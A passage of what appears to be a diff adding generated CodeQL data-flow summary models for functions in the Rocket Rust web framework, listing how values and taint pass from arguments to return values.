"Argument[0].Field[1]", "ReturnValue.Field[crate::form::field::ValueField::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue.Field[crate::form::field::ValueField::value]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::form::Form(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::form::Form(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::lenient::Lenient(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::lenient::Lenient(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[1]", "ReturnValue.Field[crate::form::name::buf::NameBuf::right]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::form::name::buf::NameBuf::left].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::name::buf::NameBuf::left]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::key::Key(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::form::name::name::Name(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::borrow", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_name", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::parent", "Argument[self].Field[crate::form::name::view::NameView::name].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self].Field[crate::form::name::view::NameView::end]", "Argument[self].Reference.Field[crate::form::name::view::NameView::start]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::shift", "Argument[self].Field[crate::form::name::view::NameView::name]", "Argument[self].Reference.Field[crate::form::name::view::NameView::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::source", "Argument[self].Field[crate::form::name::view::NameView::name]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::next", "Argument[self].Field[crate::form::parser::RawStrParser::source].Element", "Argument[self].Field[crate::form::parser::RawStrParser::source].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::form::parser::RawStrParser::buffer]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::form::parser::RawStrParser::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::form::strict::Strict(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::form::strict::Strict(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file_mut", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::file_mut", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::path", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::take_file", "Argument[self].Field[crate::fs::named_file::NamedFile(1)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue.Field[crate::fs::server::FileServer::options]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "Argument[self].Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[0]", "ReturnValue.Field[crate::fs::server::FileServer::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rank", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len", "Argument[self].Field[crate::fs::temp_file::TempFile::File::len].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::open", "Argument[self].Field[crate::fs::temp_file::TempFile::Buffered::content].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::path", "Argument[self].Field[crate::fs::temp_file::TempFile::File::path]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::raw_name", "Argument[self].Reference.Field[crate::fs::temp_file::TempFile::File::file_name]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::local::asynchronous::client::Client::tracked]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_rocket", "Argument[self].Field[crate::local::asynchronous::client::Client::rocket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies_mut", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_body_mut", "Argument[self].Field[crate::local::asynchronous::request::LocalRequest::data]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_request", "Argument[self].Field[crate::local::asynchronous::request::LocalRequest::request]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_request_mut", "Argument[self].Field[crate::local::asynchronous::request::LocalRequest::request]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::local::asynchronous::request::LocalRequest::client]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::private_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_response", "Argument[self].Field[crate::local::asynchronous::response::LocalResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_test", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_with_raw_cookies", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[crate::local::blocking::client::Client::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::body", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::local::blocking::request::LocalRequest::client]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::private_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::_cookies", "Argument[self].Field[crate::local::blocking::response::LocalResponse::inner].Field[crate::local::asynchronous::response::LocalResponse::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::and_then", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_mut", "Argument[self].Reference.Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_mut", "Argument[self].Reference.Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_mut", "Argument[self].Reference.Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self].Reference.Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self].Reference.Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_ref", "Argument[self].Reference.Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::error_then", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::expect", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::failed", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forward_then", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::forwarded", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::log_display", "Argument[self]", "ReturnValue.Field[crate::outcome::Display(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[0].ReturnValue", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_error", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[0].ReturnValue", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_forward", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_error", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Error(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Forward(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ok_map_forward", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::succeeded", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or_else", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::success_or_else", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::unwrap", "Argument[self].Field[crate::outcome::Outcome::Success(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_state_ref", "Argument[self]", "ReturnValue.Field[crate::phase::StateRef::Build(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_state", "Argument[self]", "ReturnValue.Field[crate::phase::State::Build(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_state_ref", "Argument[self]", "ReturnValue.Field[crate::phase::StateRef::Ignite(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_state", "Argument[self]", "ReturnValue.Field[crate::phase::State::Ignite(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_state_ref", "Argument[self]", "ReturnValue.Field[crate::phase::StateRef::Orbit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_state", "Argument[self]", "ReturnValue.Field[crate::phase::State::Orbit(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::client_ip", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::cookies_mut", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::cookies]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::headers", "Argument[self].Field[crate::request::request::Request::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::rocket]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[2]", "ReturnValue.Field[crate::request::request::Request::uri]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::remote", "Argument[self].Field[crate::request::request::Request::connection].Field[crate::request::request::ConnectionMeta::remote]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::rocket", "Argument[self].Field[crate::request::request::Request::state].Field[crate::request::request::RequestState::rocket]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::set_uri", "Argument[0]", "Argument[self].Field[crate::request::request::Request::uri]", "value", 